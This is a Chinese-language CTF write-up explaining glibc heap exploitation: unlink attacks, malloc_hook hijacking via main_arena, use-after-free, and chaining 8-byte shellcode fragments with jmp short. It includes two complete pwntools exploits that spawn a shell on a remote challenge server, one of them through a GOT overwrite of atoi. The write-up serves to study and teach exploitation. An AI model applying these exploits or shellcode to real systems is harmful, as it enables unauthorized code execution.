入侵的最终目的是为了通过malloc_hook来执行shellcode

我们知道:执行malloc的时候会执行malloc_hook挂钩的函数,malloc_hook默认挂钩“检查函数”,只要把 malloc_hook 赋值为shellcode的首地址,那么在执行malloc后就可以执行shellcode了

要想malloc_hook可以挂钩shellcode,那么shellcode的地址必须确定,所以地址随机化的堆空间并不适合写入shellcode,要选择一片可写入的较稳定的内存段(比如bss段)

最后可以利用堆溢出来完成Write-Anything-Anywhere,把shellcode写入bss段

本程序可以利用堆溢出修改chunk的结构,通过unlink修改buf数组中指针指向的位置(使其指向bss段),利用选项三把shellcode写入bss段,然后再利用选项三修改malloc_hook为bss段上shellcode的地址,最后执行 shellcode,详细过程如下:

1.调用选项一在堆上创建两个chunk(0x90),此时堆结构如下:

1638983033061

2.使用选项三修改chunk0的数据区(fk&bk),在其中伪造一个chunk,并通过堆溢出修改chunk 1的pre_size

伪造chunk的payload:

1
2
3
4
5
6
7
# pre_size, size
payload = p64(0) + p64(0x91)#最后一位为1(伪造P位)
# fd, bk
payload += p64(buf - 0x18) + p64(buf - 0x10)#伪造unlink的执行条件
payload += p64(0) * 14
# change chunk1 size
payload += p64(0x90) + p64(0xa0)#最后一位为0(伪造P位,使伪造chunk为free)

payload写入后的堆结构:

1639131559439

3.使用选项二删除thunk 1(还未合并)

ptmalloc通过伪造的P位识别到伪造chunk为free,于是把chunk 1和伪造chunk进行后向合并

此时,“控制权”交给了伪造chunk,所有指向chunk1的指针都会指向伪造chunk

1639071587687

​ //装入bss段的buf[1]中装有的指向chunk1的指针不会指向伪造chunk(它在合并之前就已经写定)

unlink之前会进行检查:

伪造chunk->fd->bk 是否 就是伪造chunk

伪造chunk->bk->fd 是否 就是伪造chunk

只要按照上述payload中fd&bk的排布是符合条件的,这里有些复杂:

chunk->fd:“buf - 0x18”,buf[-3]

chunk->bk:“buf - 0x10”,buf[-2]

1639131511591

虽然buf[-3],buf[-2]这两个地方根本就没有chunk,但只要unlink检测到对应位置的对应值正确就行了

可以发现:chunk->fd->bk和chunk->bk->fd都占用了buf[0]这个位置,就是伪造chunk的首地址

unlink之中的操作就有些微妙了:

伪造chunk->fd->bk(指针buf[0]) = 伪造chunk->bk(地址buf[-2])

伪造chunk->bk->fd(指针buf[0]) = 伪造chunk->fd(地址buf[-3])

先让buf[0]中的指针指向buf[-2],然后再指向buf[-3]

​ //前3步操作的根本目的,就是unlink改变buf[0]中指针的指向,方便改变数组buf的结构

4.使用选项三编辑“buf[0]”(实际上写入了“buf[-3]”),在buf中伪造一个chunkX

伪造chunkX的payload:

1
2
3
4
payload=p64(0)+p64(0)+p64(0)#填充buf[-3]~buf[-1]
payload+=p64(bss)+p64(buf)
payload+=p64(0)+p64(0)+p64(0)
payload+=p64(0x20)

payload写入后的buf结构:

1639075035442

buf[1]中写入了buf[0]的地址,buf[0]中写入了bss段的地址

buf[4]就是“chunkX”的首地址,pre_size为“0”,size为“0x20”

5.使用选项一申请两个大小为“0x100”的chunk(chunk2,chunk3)

前面伪造chunk和chunk1合并后,在top chunk中存放有一个“0x90+0x90+0x10”大小的free chunk

在申请第一段“0x100”的chunk时,top chunk中的chunk被切割为“0x90”

在申请第二段“0x100”的chunk时,top chunk中的chunk大小不够,需要继续申请

​ //这里是为了把top chunk消耗干净,让chunk3成为新的top chunk

buf结构:

1639075348270

堆结构:(chunk2,chunk3都处于allocate状态)

1639076000559

6.使用选项二删除chunk2,此时chunk2不会进行合并,直接被收入unsorted bin(作为最后一个)

堆结构:

1639076501926

7.使用选项三修改buf[2],修改chunk2结构的payload如下:

1
payload=p64(0)+p64(buf+0x8*4)#修改fd&bk

chunk2已经是free状态,修改其fd为“0”,修改其bk为“buf+0x8*4”(buf[4])

修改后的chunk2结构:

1639159269994

因为“chunk2”属于“unsorted bin”,其bk指向“buf[4]”(“chunkX”的首地址)

这样的话之前在buf中伪造的“chunkX”也进入了unsorted bin(被强行连接)

8.使用选项一添加一个和chunk2一样大小的chunk4,这样unsorted bin中只剩下chunkX了

这里需要先分析一下ptmalloc的运算过程:

申请chunk4时,程序在small bins中没有找到结果,于是在unsorted bin中进行遍历

因为“chunk2”排在“chunkX”前面,所以程序搜索到“chunk2”后终止,并不会重新分配“chunkX”

9.所以选项三在buf[1](buf)写入payload:

1
payload=p64(bss) + p64(buf) + p64(0) * 4 + '\x10'

目的是修改buf[6]为“malloc_hook”

1639075035442

buf[1]中写入了buf[0]的地址,buf[0]中写入了bss段的地址

buf[4]是chunkX,在它就是unsorted bin中的最后一位,所以它的fd&bk应该指向一个固定偏移main_arena+XX,这里不需要知道它具体是多少,只要知道它和malloc_hook只有最后两位不同就可以了

在buf[1]中写入payload,而payload会实际写入buf[0],前面的数据会依次填充“buf[0]~buf[5]”,而最后一位数据“\x10”会填入fd,因为计算机采用小端序,所以“\x10”会覆盖fd指针指向内容的最后两个字节,它正是main_arena+XX,它会被覆盖为malloc_hook(3C4B10)

1639154237609

10.使用选项三在buf[0]中写入shellcode:

buf[0]装有bss段的首地址,所以shellcode会被写入bss段,且首地址已知

11.使用选项三在buf[6]中写入shellcode的地址:

buf[6]中装有malloc_hook,所以malloc_hook会和shellcode挂钩

12.使用选项一随便申请一段内存:

程序调用malloc时,会同时调用malloc_hook,就相当于调用了shellcode


unlink函数

1
2
3
4
5
6
7
8
9
10
11
12
>void unlink(malloc_chunk *P, malloc_chunk *BK, malloc_chunk *FD)
{ //p是某个结构体“malloc_chunk”的地址,*p就是结构体本身(进行了降阶)
FD = P->fd; //FD就是指向下一个结构体的指针
BK = P->bk; //BK就是指向上一个结构体的指针
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr(check_action,"corrupted double-linked list",P);
else
{
FD->bk = BK; //FD->bk:下一个结构体中的last
BK->fd = FD;
}
}

unlink是一个宏操作,用于将某一个空闲chunk 从其所处的双向链表中脱链

解释unlink函数:

FD->bk = BK:让P结构体的下一个结构体中的bk变为P本身的bk

BK->fd = FD:让P结构体的上一个结构体中的fd变为P本身的fd

就相当于跳过了P这个结构体,把FDBK连接

1639014959836

unlink检查:

当前这个chunkP的后一个chunk的fd == chunkP 是否成立

当前这个chunkP的前一个chunk的bk == chunkP 是否成立

unlink攻击

unlink是利用glibc malloc的内存回收机制造成攻击的,核心就在于当两个free的堆块物理上相邻时,会将他们合并,并将原来free的堆块在原来的链表中解链,加入新的链表中,但这样的合并是有条件的,向前或向后合并

将要进行向前还是向后合并,关键是看前一个后一个chunk是否为free

1.将要被free的chunk的P位为“1” > 进行向后合并(前一个chunk为free)

2.将要被free的chunk的next chunk为free > 进行向前合并(后一个chunk为free)

​ //前向合并可以合并top chunk,这点经常被利用

向前合并&向后合并(先合并,后unlink)

一,向后合并:(向后扩充,需要free的chunk作为“合成材料”)

通过P位检测前一个chunk是否为free,将要free的chunk会根据它自己的 size 来获取 前一块chunk的size ,并把它自己的size加到前一块chunk的size中,然后让新的chunk进入unlink流程

例子:

1638982092225

chunk2将要进行free时,发现chunk1已经是free状态,先unlink chunk1,然后进行向后合并

1638982103542

最终指向chunk1chunk2的指针也会指向新的chunk

二,前向合并:(向前扩充,需要free的chunk作为“合成材料”)

通过inuse_bit_at_offset检测后一个chunk是否为free,将要free的chunk会把它自己size加上nextsize(后一个chunk的大小),然后让新的chunk进入unlink流程

​ //这里pre_size的值没有改变,所以不需要进行操作

1639027341437

chunk1将要进行free时,发现chunk2已经是free状态,先unlink chunk2,然后进行向前合并

1639027400761

最终指向chunk1chunk2的指针也会指向新的chunk

Arena- 管理线程中的堆

Arena 是一种管理系统仿真模拟软件,它给c语言提供了接口,使其可以使用它的功能

功能:

一个线程申请的1个/多个堆包含很多的信息:二进制位信息,多个malloc_chunk信息……

而Arena就是用于管理这些信息的

特点:

1.一个线程只有一个arnea,并且这些线程的arnea都是独立的不是相同的

2.主线程的arnea被称为main_arena,子线程的arnea称为thread_arena

malloc_hook劫持(arena)

先看malloc_trim函数,它可以之前分配的内存还给系统,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int
__malloc_trim (size_t s)
{
int result = 0;

if (__malloc_initialized < 0)
ptmalloc_init ();

mstate ar_ptr = &main_arena;
do
{
__libc_lock_lock (ar_ptr->mutex);
result |= mtrim (ar_ptr,s);
__libc_lock_unlock (ar_ptr->mutex);

ar_ptr = ar_ptr->next;
}
while (ar_ptr != &main_arena);

return result;
}

在IDA中的反汇编如下:

1639153745891

对比发现:“dword_3C4B20”就是“&main_arena”

​ //通常通过“malloc_trim”来快速锁定“main_arena”的地址

因为main_arena的偏移(main_arena+0x58)和malloc_hook很近,只有两位不同

1639153912159

1639154237609

所以可以通过main_arena来实现malloc_hook劫持,而“malloc_trim”中就有“main_arena”

OFF BY ONE

所谓OFF BY ONE就是利用堆溢出一个字节到下一个堆块,使得目前堆块与下一堆块合并成一个堆块,此时堆块的大小就是我们溢出的那一字节(覆盖了pre_size

​ //也可以溢出多个字节,完全覆盖size位也不是不行

并且堆块的fd(前驱指针)以及bk(后继指针)都会指向main_arena+XX的地址

malloc机制中的unsorted binsmall bins以及large bins中的双向链表中的第一个chunk以及最 后一个chunk中的 fd\bk 字段,都会指向arena固定偏移

​ //不同的libc版本可能固定偏移有差别


完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

p=remote('111.200.241.244',49239)
context(arch = "amd64", os = 'linux',log_level='debug')
elf = ELF("./timu")
libc = ELF("./libc-2.23.so")

def malloc(size,data):
p.sendlineafter("Your choice :","1")
p.sendlineafter("Size: ",size)
p.sendafter("Data: ",data)

def free(index):
p.sendlineafter("Your choice :","2")
p.sendlineafter("Index: ",index)

def change(index,size,data):
p.sendlineafter("Your choice :","3")
p.sendlineafter("Index: ",index)
p.sendlineafter("Size: ",size)
p.sendafter("Data: ",data)

bss_addr=0x601020
buf_addr=0x601040

malloc(str(0x90),"buf[0]")
malloc(str(0x90),"buf[1]")

payload=p64(0)+p64(0x91)#0x91>>>fake allocated chunk
payload+=p64(buf_addr-0x18)+p64(buf_addr-0x10)#buf[0]->buf[-3]
payload+=p64(0)*14
payload+=p64(0x90)+p64(0xa0)
#fake chunk:0x90-0x10=0x80
#chunk1:0x90+0x10=0xa0
#new chunk:0x90+0x90=0x80+0xa0=0x120

change("0",str(len(payload)),payload)
free("1")#merge completed

payload=p64(0)*3
payload+=p64(bss_addr)+p64(buf_addr)#buf[0]->bss buf[1]->buf
payload+=p64(0)+p64(0)#new chunk:chunk2,chunk3
payload+=p64(0)+p64(0x20)#size(buf[4]) pre_size(buf[5])
#make a fake chunk in buf(the head is buf[4])
change("0",str(len(payload)),payload)

malloc(str(0x100),"buf[2]")#buf[2]->chunk2
malloc(str(0x100),"buf[3]")#buf[3]->chunk3

free("2")#chunk3 into unsorted bin
#no merge:chunk1&chunk3 are all allocated chunks

payload=p64(0)+p64(buf_addr+0x8*4)#fd->null bk->buf[4](fake chunk)
change("2",str(len(payload)),payload)
#link fake chunk into unsorted bin

malloc(str(0x100),"buf[2]")#buf[2]->chunk4
#chunk2 is used,fake chunk is the only one in unsorted bin
#buf[6]->main arena+0x58 buf[7]->main arena+0x58

payload=p64(bss_addr)+p64(buf_addr)
payload+=p64(0)*4
payload+=b'\x10'
change("1",str(len(payload)),payload)
#main arena+0x58 become malloc_hook

shellcode=asm(shellcraft.sh())
change("0",str(len(shellcode)),shellcode)#bss=&shellcode
change("6","8",p64(bss_addr))#malloc_hook->bss(&shellcode)

p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline("1")
p.interactive()

我学习pwn已经有一段时间了,遇到了一个有意思的题目,再此分析一下

题目链接: 题目 (xctf.org.cn)

选项一可以申请一片内存空间,位置和大小都可以自己定义(空间大小不超过8字节),并且有一次写入的机会,选项四可以释放某片内存空间,本程序中没有BackDoor

当我第一次分析这个题时,而一眼就注意到了UAF漏洞,没有BackDoor,并且没有开NX,由此可以判断:本程序需要在堆中写入shellcode来获取权限


UAF(Use After Free)

如果程序利用“free”,“delete”等函数释放内存时没有置空指针,就会造成UAF漏洞

先看一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
char *a;
a = (char *) malloc(sizeof(char)*10);//申请a
memcpy(a,"ywhkkx",10);
printf("a addr:%x,%s\n",a,a);
free(a);//释放a
char *b;
b = (char *)malloc(sizeof(char)*10);//申请相同大小的b
memcpy(a,"isacaib",10);
printf("b addr:%x,%s\n",b,b);
printf("a addr:%x,%s\n",a,a);
return 0;
}

输出结果:

1
2
3
a addr:6792d2a0,ywhkkx
b addr:6792d2a0,isacaib
a addr:6792d2a0,isacaib

申请“a”后,释放“a”,然后申请相同大小的“b”

根据结果来看,“a”和“b”两个指针指向了同一片内存空间,修改“b”,“a”也发生改变

根本原因:

这里涉及到 ptmaoolc 的知识了(一种heap管理算法):

ptmalloc是glibc默认的内存管理器

在ptmalloc内部,内存块采用chunk管理,并且将大小相似的chunk用链表管理,一个链表被称为一个bin。前64个bin里,相邻的bin内的chunk大小相差8字节,称为small bin,后面的是large bin,large bin里的chunk按先大小,再最近使用的顺序排列,每次分配都找一个最小的能够使用的chunk

PS:ptmaoolc算法的行为肯定有利于CPU的运算,具体就不展开了(我也不会)

这里挂两个博客,讲的更详细:

UAF:https://blog.csdn.net/qq_31481187/article/details/73612451

ptmaoolc: ptmalloc总结 - bitError - 博客园 (cnblogs.com)

这里还有一个内存分配策略的总结:

ptmalloc,tcmalloc和jemalloc内存分配策略研究|I’m OWenT


本程序可以无限循环,也就是有多次写入的机会,但是仔细分析代码又会出现问题:

一次申请的空间大小不超过8字节,肯定装不下shellcode,所以要多次申请,并把shellcode分段装入这些堆内存空间中

构造如下shellcode:(涉及到64位系统的传参约定)

1
2
3
4
5
6
7
mov rdi,xxxx;/bin/sh #字符串的地址
mov rax,59; #execve 的系统调用号
mov rsi,0;
mov rdx,0;
syscall
----------------------------
execve('/bin/sh',null,null)

构造shellcode片段:

1
2
3
4
5
6
codex=asm("mov rdi,'/bin/sh'")		#把‘/bin/sh’装入rdi
code0=asm('xor rax,rax') #清空rax
code1=asm('mov eax,0x3b') #eax就是rax的低位
code2=asm('xor rsi,rsi') #清空rsi(第2个参数)
code3=asm('xor rdx,rdx') #清空rdx(第3个参数)
code4=asm('syscall')

问题:可以发现“codex”的大小明显超过了8字节,这里先放一放

现在需要程序按照这个顺序执行shellcode,但堆与堆之间没有联系,需要用jmp连接


IP控制指令:jmp short

jmp short 目标地址,占用2字节,可以按照相对位置进行寻址跳转

机器码:EB + 8位位移

计算公式:相对偏移地址 = 目标地址 - 当前地址 - 2(为什么要“-2”,后续进行分析)

​ //当前地址:jmp指令的地址

要理解这个计算公式首先得搞明白CPU执行指令的过程

1.从CS:IP指向的“内存单元”读取指令,送入指令缓存器

2.(IP)=(IP)+ 所读取指令的长度,从而指向下一条指令

3.执行指令,回到“1”,重复这个过程

案例(“《汇编语言》-王爽 ” 中的例子):

可以发现“jmp short s”和机器码为EB03,而jmp自己的地址为0003

1.CS:IP指向“0003”(EB 03)

2.指令“EB 03”被送入指令缓存器

3.(IP)=(IP)+ 2 = 0005H ,CS:IP 指向 add ax,1

4.CPU执行指令缓存器中的指令“EB 03”

5.指令执行后,(IP)= 0008H ,CS:IP 指向 inc ax

可以发现,指令“EB 03”执行以后,CS:IP立马完成了跳转,IP的变化为“0005H>>>00008H”(差3

所以jmp中的目的地址是计算出来的:指令执行前IP的指向 + EB后的数值

​ //因为是先进行2然后再进行4,所以计算公式中的“-2”就是减去“jmp short s”指令的长度


那么EB后面的8位位移该写多少呢?

这里需要先有64位堆结构内存对齐的知识


完全二叉树特点

1.叶子结点只可能在最大两层出现

2.对于任意一结点,如果其右子树的最大层次为L,则其左子树的最大层次为L+1

​ //子树左对齐,不管右子树的有无,左子树一定存在(叶子结点除外)

3.度为1的结点只有0或1个

简而言之,完全二叉数就是一个“顺序填充”的过程:

数据会从左往右依次填充,直到某一层填满然后填下一层

64位堆结构

堆总是一棵完全二叉树

linux的堆内存管理分为三个层次,分别为分配区area堆heap内存块chunk

每次glibc分配的内存块称为chunk(函数“malloc”分配的内存)

内存块 chunk :

1
2
3
4
5
6
7
8
9
10
11
12
struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
  • prev_size:相邻的前一个堆块大小。这个字段只有在前一个堆块(且该堆块为normal chunk)处于释放状态时才有意义。这个字段最重要(甚至是唯一)的作用就是用于堆块释放时快速和相邻的前一个空闲堆块融合。该字段不计入当前堆块的大小计算。在前一个堆块不处于空闲状态时,数据为前一个堆块中用户写入的数据。libc这么做的原因主要是可以节约4个字节的内存空间,但为了这点空间效率导致了很多安全问题
  • size:本堆块的长度。长度计算方式:size字段长度+用户申请的长度+对齐。libc以 size_T 长度 * 2 为粒度对齐。例如 32bit 以 4 2= 8byte 对齐,64bit 以 **8 2=0×10 对齐。因为最少以8字节对齐,所以size一定是8的倍数,故size字段的最后三位恒为0,libc用这三个bit做标志flag。比较关键的是最后一个bit(pre_inuse),用于指示相邻的前一个堆块是alloc还是free。如果正在使用,则 bit=1。libc判断 当前堆块是否处于free状态的方法 就是 判断下一个堆块的 pre_inuse** 是否为 1 。这里也是 double freenull byte offset 等漏洞利用的关键
  • fd&bk:双向指针,用于组成一个双向空闲链表。故这两个字段只有在堆块free后才有意义。堆块在alloc状态时,这两个字段内容是用户填充的数据。两个字段可以造成内存泄漏(libc的bss地址),Dw shoot等效果
  • 值得一提的是,堆块根据大小,libc使用fastbin、chunk等逻辑上的结构代表,但其存储结构上都是malloc_chunk结构,只是各个字段略有区别,如fastbin相对于chunk,不使用bk这个指针,因为fastbin freelist是个单向链表

内存对齐

内存对齐和地址对齐一样,也是一种时空权衡

glibc的堆内存对齐机制:

32位:
最少分配16字节堆,8字节对齐,每次增加8
其中4字节为头部,申请1-12堆,分配16字节堆

64位:
最少分配32字节堆,16字节对齐,每次增加16
其中8字节为头部,申请1-24堆,分配32字节堆

​ //16个字节头部,包括为数据区的 prev_size

可以参考一下链接:

堆利用: pwn with glibc heap(堆利用手册) - hac425 - 博客园 (cnblogs.com)


64位程序一次性分配的最小堆字节为32

而静态数组“2020A0[v1]”的类型为“qword”(4字,32字节),刚好等于申请堆空间的最小值

所以只要“v1”是连续的,那么申请出来的堆空间就是连续的

在内存块的结构中:fd&bk作为数据区,shellcode和jmp都要写在这里

执行jmp后程序需要跳转到下一个fd&bk(数据区)

计算:EB 8位位移 = 2 + 1 + 8 + 8 + 8 - 2 = 25(0x19)

根据程序输入函数的算法,最后1字节的数据会被强行改为“0”,所以后面8字节的空数据不能使用

所以真正可以利用的空间就只有7字节,除去2字节的jmp,就只剩下5字节

1
2
3
4
5
6
codex=(asm("mov rdi,'/bin/sh'"+'\x90\x90\xeb\x19')#明显超范围了
code0=(asm('xor rax,rax')+'\x90\x90\xeb\x19')#左填充“\x90”保证7字节(右对齐)
code1=(asm('mov eax,0x3b')+'\xeb\x19')
code2=(asm('xor rsi,rsi')+'\x90\x90\xeb\x19')
code3=(asm('xor rdx,rdx')+'\x90\x90\xeb\x19')
code4=(asm('syscall').ljust(7,'\x90'))#用ljust进行右填充(左对齐)

​ //这里在“jmp short”处选择右对齐,是为了防止“\x90\x90”干扰8位位移的计算

分析到这里就只剩下两个问题了:

1.codex超过了7字节,会导致execve的第一个参数无效(“/bin/sh”)

2.shellcode没有办法执行

堆不像栈,没有类似于“ret”这样的IP控制指令,想要执行堆中的shellcode片段,必须要CS:IP指针访问这一片堆空间才行,本程序中的shellcode片段已经用jmp进行了连接,所以只要CS:IP指针访问了codex,就等同于执行了shellcode

那么有没有一个办法可以一次性解决这两个问题呢?

仔细分析程序的代码,还可以发现一个漏洞:

“index”由用户输入并且没有检查其范围,之后就直接作为了静态数组“2020A0”的下标

这就构成了数组越位漏洞


静态数组“2020A0”的上方就是GOT表地址,这里的任何一个函数都可以被数组越位覆盖

而且在plt表中已经控制了CS:IP,所以再此之后覆盖的堆内存会被当做指令

这里选择“atoi”是最正确的:


分析代码就可以知道,“atoi”的参数是“read”读取来的,此处读入“/bin/sh”就可以代替codex

偏移计算为:(0x2020A0 - 0x202060)/ 8 = [-8]

因为改变“atoi”会导致循环中断,所以 [-8] 的堆空间只能在最后申请,但它又必须第一个执行

这里就需要利用UAF使 [0](第一次申请的空间)和 [-8] 指向同一片内存(“atoi”的GOT表)

具体exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import*

p=remote('111.200.241.244',53787)
context(os='linux',arch='amd64',log_level='debug')

def malloc(index,content):
p.sendlineafter("your choice>> ","1")
p.sendlineafter("index:",str(index))
p.sendlineafter("size:",str(8))
p.sendafter("content:",str(content))

def free(index):
p.sendlineafter("your choice>> ","4")
p.sendlineafter("index:",str(index))

code0=(asm('xor rax,rax')+'\x90\x90\xeb\x19')
code1=(asm('mov eax,0x3b')+'\xeb\x19')
code2=(asm('xor rsi,rsi')+'\x90\x90\xeb\x19')
code3=(asm('xor rdx,rdx')+'\x90\x90\xeb\x19')
code4=(asm('syscall').ljust(7,'\x90'))

malloc(0,code0)
malloc(1,code1)
malloc(2,code2)
malloc(3,code3)
malloc(4,code4)
free(0)
malloc(-8,code0)

p.sendlineafter('your choice>>','/bin/sh')

p.interactive()